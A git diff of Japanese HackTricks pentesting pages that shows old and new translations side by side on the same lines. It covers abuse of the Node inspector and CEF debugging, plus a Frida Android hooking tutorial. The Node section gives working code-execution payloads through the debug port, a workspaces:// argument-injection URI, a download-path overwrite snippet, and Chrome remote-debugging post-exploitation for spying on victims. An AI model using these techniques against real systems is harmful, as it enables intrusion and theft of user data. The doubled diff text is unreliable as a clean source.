### [**その他のトリック**](privilege-escalation/#other-tricks) ### [**その他のトリック**](privilege-escalation/#other-tricks)
* [ ] [**特権を昇格するためにNFSを悪用できますか**](privilege-escalation/#nfs-privilege-escalation)? * [ ] [**NFSを悪用して特権を昇格できますか**](privilege-escalation/#nfs-privilege-escalation)
* [ ] [**制限されたシェルから脱出する必要がありますか**](privilege-escalation/#escaping-from-restricted-shells)? * [ ] [**制限されたシェルから脱出する必要がありますか**](privilege-escalation/#escaping-from-restricted-shells)
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングの洞察**\ **ハッキングインサイト**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\ **リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を追いかける リアルタイムのニュースとインサイトを通じて、急速に進化するハッキングの世界を把握しましょう
**最新の発表**\ **最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力しましょう! **[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}

View file

@ -1,30 +1,31 @@
# Node inspector/CEF debugの悪用 # Node inspector/CEF debug abuse
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %}
## 基本情報 ## 基本情報
[ドキュメントから](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect`スイッチで起動すると、Node.jsプロセスはデバッグクライアントを待機します。**デフォルト**では、ホストとポート**`127.0.0.1:9229`**で待機します。各プロセスには**一意のUUID**も割り当てられます。 [From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): `--inspect` スイッチで起動すると、Node.js プロセスはデバッグクライアントを待ち受けます。**デフォルト**では、ホストとポート **`127.0.0.1:9229`** で待ち受けます。各プロセスには **ユニーク****UUID** も割り当てられます。
Inspectorクライアントは、接続するためにホストアドレス、ポート、およびUUIDを知って指定する必要があります。完全なURLは`ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`のようになります。 インスペクタクライアントは、接続するためにホストアドレス、ポート、および UUID を知って指定する必要があります。完全な URL `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e` のようになります。
{% hint style="warning" %} {% hint style="warning" %}
**デバッガーはNode.js実行環境への完全なアクセス権を持っている**ため、このポートに接続できる悪意のあるアクターは、Node.jsプロセスの代わりに任意のコードを実行できる可能性があります**潜在的な特権昇格**)。 **デバッガーは Node.js 実行環境への完全なアクセス権を持っているため**、このポートに接続できる悪意のあるアクターは、Node.js プロセスの代わりに任意のコードを実行できる可能性があります(**潜在的な特権昇格**)。
{% endhint %} {% endhint %}
Inspectorを開始する方法はいくつかあります: インスペクタを起動する方法はいくつかあります:
```bash ```bash
node --inspect app.js #Will run the inspector in port 9229 node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444 node --inspect=4444 app.js #Will run the inspector in port 4444
@ -35,50 +36,50 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
``` ```
以下のようなものが表示されると、検査されたプロセスが開始されます: インスペクトされたプロセスを開始すると、次のようなものが表示されます:
``` ```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector For help, see: https://nodejs.org/en/docs/inspector
``` ```
プロセスは、**CEF** (**Chromium Embedded Framework**) ベースのものは、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要がありますSSRF保護は非常に似ていますただし、これらは **NodeJS** **debug** セッションを許可する代わりに、ブラウザと通信するために [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) を使用します。これはブラウザを制御するためのインターフェースですが、直接的な RCE はありません。 プロセスは、**CEF****Chromium Embedded Framework**)に基づいており、**デバッガ**を開くためにパラメータ `--remote-debugging-port=9222` を使用する必要がありますSSRF保護は非常に似ていますしかし、**NodeJS** **デバッグ**セッションを付与する代わりに、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。
デバッグされたブラウザを起動すると、次のようなものが表示されます: デバッグされたブラウザを起動すると、次のようなものが表示されます:
``` ```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
``` ```
### ブラウザ、WebSockets、および同一オリジンポリシー <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a> ### ブラウザ、WebSocket、および同一生成元ポリシー <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
WebサイトがWebブラウザで開かれると、ブラウザセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**固有のデバッガーセッションIDを取得するためには、最初にHTTP接続が必要**です。**同一オリジンポリシー**は、Webサイトが**このHTTP接続**を行うことを防ぎます。[**DNS再バインディング攻撃**](https://en.wikipedia.org/wiki/DNS\_rebinding)****に対する追加のセキュリティ対策として、Node.jsは接続のための**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを検証します。 ウェブブラウザで開かれたウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketおよびHTTPリクエストを行うことができます。**初期HTTP接続**は、**ユニークなデバッガセッションIDを取得するため**に必要です。**同一生成元ポリシー**は、ウェブサイトが**このHTTP接続**を行うことを**防ぎます**。 [**DNSリバインディング攻撃**](https://en.wikipedia.org/wiki/DNS\_rebinding)**に対する追加のセキュリティ**として、Node.jsは接続の**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを確認します。
{% hint style="info" %} {% hint style="info" %}
この**セキュリティ対策により、インスペクターを悪用してコードを実行する**ことが防がれますこれはSSRF脆弱性を悪用して行うことができる この**セキュリティ対策は、インスペクタを悪用してコードを実行することを防ぎます**。**HTTPリクエストを送信するだけで**これはSSRF脆弱性を悪用して行うことができる、実行されることはありません
{% endhint %} {% endhint %}
### 実行中プロセスでのインスペクターの開始 ### 実行中のプロセスでインスペクタを起動する
実行中のnodejsプロセスに**シグナルSIGUSR1**を送信して、**デフォルトポートでインスペクターを開始**させることができます。ただし、十分な権限が必要なので、これによりプロセス内の情報に**特権アクセス**が付与される可能性がありますが、直接的な特権昇格は行われません。 実行中のnodejsプロセスに**SIGUSR1信号**を送信すると、**デフォルトポートでインスペクタを起動**させることができます。ただし、十分な権限が必要であるため、これにより**プロセス内の情報への特権アクセスが付与される可能性があります**が、直接的な特権昇格にはなりません。
```bash ```bash
kill -s SIGUSR1 <nodejs-ps> kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
``` ```
{% hint style="info" %} {% hint style="info" %}
コンテナ内でこれは便利です。`--inspect`でプロセスを**シャットダウンして新しいプロセスを起動**することは**選択肢ではない**ため、**コンテナ**はプロセスとともに**終了**されます。 これはコンテナ内で便利です。なぜなら、`--inspect`で**プロセスをシャットダウンして新しいものを開始する**ことは**選択肢ではない**からです。**コンテナ**はプロセスと共に**終了**します。
{% endhint %} {% endhint %}
### インスペクタ/デバッガに接続 ### インスペクタ/デバッガに接続する
**Chromiumベースのブラウザ**に接続するには、Chromeの場合は`chrome://inspect`またはEdgeの場合は`edge://inspect`のURLにアクセスできます。構成ボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行RCEの例を示しています **Chromiumベースのブラウザ**に接続するには、ChromeまたはEdgeのそれぞれに対して`chrome://inspect`または`edge://inspect`のURLにアクセスできます。Configureボタンをクリックして、**ターゲットホストとポート**が正しくリストされていることを確認する必要があります。画像はリモートコード実行RCEの例を示しています
![](<../../.gitbook/assets/image (674).png>) ![](<../../.gitbook/assets/image (674).png>)
**コマンドライン**を使用して、デバッガ/インスペクタに接続できます: **コマンドライン**を使用して、次のようにデバッガ/インスペクタに接続できます:
```bash ```bash
node inspect <ip>:<port> node inspect <ip>:<port>
node inspect 127.0.0.1:9229 node inspect 127.0.0.1:9229
# RCE example from debug console # RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
``` ```
ツール[**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug)を使用すると、ローカルで実行中の**インスペクタ**を**見つけて**その中にコードを**注入**することができます。 ツール [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) は、**ローカルで実行されているインスペクタを見つけ**、**コードを注入する**ことを可能にします。
```bash ```bash
#List possible vulnerable sockets #List possible vulnerable sockets
./cefdebug.exe ./cefdebug.exe
@ -88,16 +89,16 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
``` ```
{% hint style="info" %} {% hint style="info" %}
**NodeJS RCE exploits**は、ブラウザを[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)経由で接続している場合には機能しないことに注意してください興味深いことを見つけるためにAPIをチェックする必要があります)。 注意してください、**NodeJS RCE エクスプロイトは** [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) に接続されている場合は**機能しません**APIを確認して、興味深いことを見つける必要があります)。
{% endhint %} {% endhint %}
## NodeJSデバッガー/インスペクターでのRCE ## NodeJS デバッガー/インスペクターにおける RCE
{% hint style="info" %} {% hint style="info" %}
もし[**ElectronのXSSからRCEを取得する方法**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)を探してここに来た場合は、このページをご確認ください。 もしあなたがここに、[**Electron XSS から RCE を取得する方法を探しているなら、このページを確認してください。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
{% endhint %} {% endhint %}
Node **inspector**に**接続**できる場合に**RCE**を取得する一般的な方法のいくつかは、次のようなものを使用することですChrome DevToolsプロトコルへの接続では機能しないようです: Node **インスペクター** に接続できるときに **RCE** を取得する一般的な方法のいくつかは、(これは **Chrome DevTools プロトコルへの接続では機能しないようです**)を使用することです:
```javascript ```javascript
process.mainModule.require('child_process').exec('calc') process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
@ -106,22 +107,24 @@ Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
``` ```
## Chrome DevTools Protocol Payloads ## Chrome DevTools Protocol Payloads
APIはこちらで確認できます: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ APIはこで確認できます: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
このセクションでは、このプロトコルを悪用するために人々が使用してきた興味深い事柄をリストアップします。 このセクションでは、私が人々がこのプロトコルを悪用するために使用した興味深いことをリストします。
### ディープリンクを介したパラメーターインジェクション ### Deep Linksによるパラメータインジェクション
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)では、Rhino Securityが、CEFに基づくアプリケーションがシステムにカスタムURIworkspaces://)を登録し、そのURIを受け取り、そのURIから部分的に構築された構成でCEFベースのアプリケーションを起動していたことを発見しました。 [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)で、RhinoセキュリティはCEFに基づくアプリケーションがシステムにカスタムURIworkspaces://)を登録し、完全なURIを受け取り、そのURIから部分的に構成された設定でCEFベースのアプリケーションを起動することを発見しました。
URIパラメーターがURLデコードされ、CEFベースのアプリケーションを起動するために使用されていることが発見され、ユーザーがコマンドラインに`--gpu-launcher`フラグをインジェクトして任意の操作を実行できるようになっていました。 URIパラメータはURLデコードされ、CEF基本アプリケーションを起動するために使用され、ユーザーが**`--gpu-launcher`**フラグを**コマンドライン**に**インジェクト**し、任意のものを実行できることが判明しました。
したがって、次のようなペイロード: したがって、次のようなペイロード:
``` ```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
``` ```
calc.exeを実行します。
### ファイルの上書き ### ファイルの上書き
**ダウンロードされたファイルが保存されるフォルダ**を変更し、**悪意のあるコード**で**アプリケーションのソースコード**を頻繁に使用されるように**上書き**するファイルをダウンロードします。 **ダウンロードたファイルが保存されるフォルダ**を変更し、**悪意のあるコード**でアプリケーションの**ソースコード**を**上書き**するファイルをダウンロードします。
```javascript ```javascript
ws = new WebSocket(url); //URL of the chrome devtools service ws = new WebSocket(url); //URL of the chrome devtools service
ws.send(JSON.stringify({ ws.send(JSON.stringify({
@ -133,15 +136,15 @@ downloadPath: '/code/'
} }
})); }));
``` ```
### Webdriver RCE と情報の流出 ### Webdriver RCEと情報漏洩
この投稿によると: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148)、theriver から RCE を取得し、内部ページを流出させることが可能です。 この投稿によると: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) RCEを取得し、内部ページをtheriverから情報漏洩させることが可能です。
### ポストエクスプロイテーション ### ポストエクスプロイ
実際の環境において、ユーザーの PC を侵害した後、Chrome/Chromium ベースのブラウザを使用している場合、Chrome プロセスをデバッグを有効にして起動し、デバッグポートをポートフォワードしてアクセスできるようにすることができます。これにより、被害者が Chrome で行うすべての操作を検査し、機密情報を盗むことができます。 実際の環境で、**Chrome/Chromiumベースのブラウザを使用しているユーザーPCを侵害した後**、**デバッグを有効にしてデバッグポートをポートフォワード**することでChromeプロセスを起動できます。これにより、**被害者がChromeで行うすべてを検査し、機密情報を盗むことができます**
ステルスな方法は、すべての Chrome プロセスを終了させ、次のようなものを呼び出すことです: ステルスな方法は、**すべてのChromeプロセスを終了させ**、その後何かを呼び出すことです。
```bash ```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
``` ```
@ -158,16 +161,17 @@ Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves) * [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/) * [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法: * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# Frida チュートリアル 2 # Frida Tutorial 2
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**してみたいですか?または、**最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけましょう * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**しましょう。
* **ハッキングトリックを共有するには、** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出**してください。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **ハッカーによって作成されたプレミアムバグバウンティプラットフォームである Intigriti にサインアップ**してください![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) で今すぐ参加し、最大 **$100,000** のバウンティを獲得しましょう! **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
**この投稿の要約**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/)(パート 2、3、4\ **This is a summary of the post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APK およびソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
パート 1 は非常に簡単です。 第1部はとても簡単です。
**オリジナルコードの一部は機能せず、ここで修正されています。** **元のコードの一部は動作せず、ここで修正されています。**
## パート 2 ## Part 2
ここでは、**同じ名前の関数をフックする例**と、異なるパラメータを持つ関数をフックする方法を示します。\ ここでは、**同じ名前の2つの関数を異なるパラメータでフックする**方法の例を見ることができます。\
また、**自のパラメータで関数を呼び出す方法**を学びます。\ また、**自のパラメータで関数を呼び出す**方法を学びます。\
最後に、**クラスのインスタンスを見つけ、その関数を呼び出す方法**の例があります。 最後に、**クラスのインスタンスを見つけて関数を呼び出す**方法の例があります。
```javascript ```javascript
//s2.js //s2.js
console.log("Script loaded successfully "); console.log("Script loaded successfully ");
@ -64,7 +67,7 @@ onComplete: function () { }
}); });
}); });
``` ```
あなたは、Stringを作成するためにまず_java.lang.String_クラスを参照し、そのクラスのStringを内容とする_$new_オブジェクトを作成していることがわかります。これはクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun("hey there!")`のように任意のStringを`this.fun()`に渡すことができます。 あなたは、最初にクラス _java.lang.String_ を参照し、その後にコンテンツとして String を持つ _$new_ オブジェクトを作成していることがわかります。これはクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun()` に任意の String を渡すことができます。例えば: `this.fun("hey there!")`
### Python ### Python
```python ```python
@ -87,11 +90,11 @@ raw_input()
``` ```
python loader.py python loader.py
``` ```
## パート3 ## Part 3
### Python ### Python
次に、Pythonを使用してフックされたアプリにコマンドを送信して関数を呼び出す方法を見ていきます 今から、フックされたアプリにコマンドを送信して関数を呼び出す方法を見ていきます:
```python ```python
//loader.py //loader.py
import time import time
@ -122,9 +125,9 @@ script.exports.callsecretfunction()
elif command == "3": elif command == "3":
script.exports.hooksecretfunction() script.exports.hooksecretfunction()
``` ```
コマンド "**1**" は**終了**します、コマンド "**2**" は**クラスのインスタンスを見つけてプライベート関数** _**secret()**_ **を呼び出し**、コマンド "**3**" は関数 _**secret()**_**フック**して**異なる文字列**を**返す**ようにします コマンド "**1**" は **終了** し、コマンド "**2**" はクラスの **インスタンスを見つけてプライベート関数** _**secret()**_ を呼び出し、コマンド "**3**" は関数 _**secret()**_ **フック** して **異なる文字列****返します**
したがって、"**2**" を呼び出すと**実際の秘密**が表示されますが、"**3**" を呼び出してから "**2**" を呼び出すと**偽の秘密**が表示されます。 そのため、もし "**2**" を呼び出すと **本当の秘密** が得られますが、もし "**3**" を呼び出してから "**2**" を呼び出すと **偽の秘密** が得られます。
### JS ### JS
```javascript ```javascript
@ -165,9 +168,9 @@ callsecretfunction: callSecretFun,
hooksecretfunction: hookSecret hooksecretfunction: hookSecret
}; };
``` ```
## パート4 ## Part 4
ここでは、JSONオブジェクトを使用して**PythonとJSが相互作用する方法**を示します。JSは`send()`関数を使用してデータをPythonクライアントに送信し、Pythonは`post()`関数を使用してデータをJSスクリプトに送信します。**JSはPythonからの応答を受信するまで実行をブロックします**。 ここでは、**PythonとJSがJSONオブジェクトを使用して相互作用する**方法を示します。JSは`send()`関数を使用してデータをPythonクライアントに送信し、Pythonは`post()`関数を使用してデータをJSスクリプトに送信します。**JSはPythonからの応答を受け取るまで実行をブロックします。**
### Python ### Python
```python ```python
@ -201,8 +204,6 @@ script.on("message", my_message_handler) # register the message handler
script.load() script.load()
raw_input() raw_input()
``` ```
### JS
### JS ### JS
```javascript ```javascript
console.log("Script loaded successfully "); console.log("Script loaded successfully ");
@ -220,22 +221,25 @@ return this.setText(string_to_recv);
} }
}); });
``` ```
第5部分は新しい情報がないため、説明はしません。しかし、読みたい場合はこちらから読むことができます: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) There is a part 5 that I am not going to explain because there isn't anything new. But if you want to read it is here: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう! **バグバウンティのヒント**: **ハッカーによる、ハッカーのためのプレミアム** **バグバウンティプラットフォーム** **Intigriti**に**サインアップ**しましょう!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、**$100,000**までの報酬を得始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
